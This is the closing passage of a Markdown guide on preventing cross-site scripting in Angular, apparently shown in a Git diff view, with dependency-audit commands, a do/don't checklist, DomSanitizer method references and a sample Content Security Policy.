|
||||||
|
# Snyk
|
||||||
|
npm install -g snyk
|
||||||
|
snyk test
|
||||||
|
snyk monitor
|
||||||
|
|
||||||
|
# npm audit
|
||||||
|
npm audit
|
||||||
|
npm audit fix
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Best Practices Summary
|
||||||
|
|
||||||
|
✅ **DO**:
|
||||||
|
- Use text interpolation `{{ }}` by default
|
||||||
|
- Sanitize with `DomSanitizer` when HTML is needed
|
||||||
|
- Implement Content Security Policy
|
||||||
|
- Validate and whitelist URLs
|
||||||
|
- Escape user input in forms
|
||||||
|
- Use Angular's built-in protection
|
||||||
|
- Test with XSS payloads
|
||||||
|
- Keep dependencies updated
|
||||||
|
|
||||||
|
❌ **DON'T**:
|
||||||
|
- Use `innerHTML` with user data
|
||||||
|
- Use `bypassSecurityTrust*` without validation
|
||||||
|
- Use `eval()` or `Function()` constructor
|
||||||
|
- Trust client-side validation alone
|
||||||
|
- Disable CSP without good reason
|
||||||
|
- Expose sensitive data in templates
|
||||||
|
- Use `document.write()`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Quick Reference
|
||||||
|
|
||||||
|
### Security Context Methods
|
||||||
|
|
||||||
|
```typescript
|
||||||
|
// Sanitize
|
||||||
|
sanitizer.sanitize(SecurityContext.HTML, html);
|
||||||
|
sanitizer.sanitize(SecurityContext.STYLE, style);
|
||||||
|
sanitizer.sanitize(SecurityContext.URL, url);
|
||||||
|
sanitizer.sanitize(SecurityContext.RESOURCE_URL, url);
|
||||||
|
|
||||||
|
// Bypass (use with caution!)
|
||||||
|
sanitizer.bypassSecurityTrustHtml(html);
|
||||||
|
sanitizer.bypassSecurityTrustStyle(style);
|
||||||
|
sanitizer.bypassSecurityTrustUrl(url);
|
||||||
|
sanitizer.bypassSecurityTrustResourceUrl(url);
|
||||||
|
```
|
||||||
|
|
||||||
|
### CSP Quick Start
|
||||||
|
|
||||||
|
```html
|
||||||
|
<meta http-equiv="Content-Security-Policy" content="
|
||||||
|
default-src 'self';
|
||||||
|
script-src 'self';
|
||||||
|
style-src 'self';
|
||||||
|
img-src 'self' data: https:;
|
||||||
|
connect-src 'self' https://api.example.com;
|
||||||
|
frame-ancestors 'none';
|
||||||
|
">
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
*Prevent XSS, protect users! 🛡️*
|
||||||
Reference in New Issue
Block a user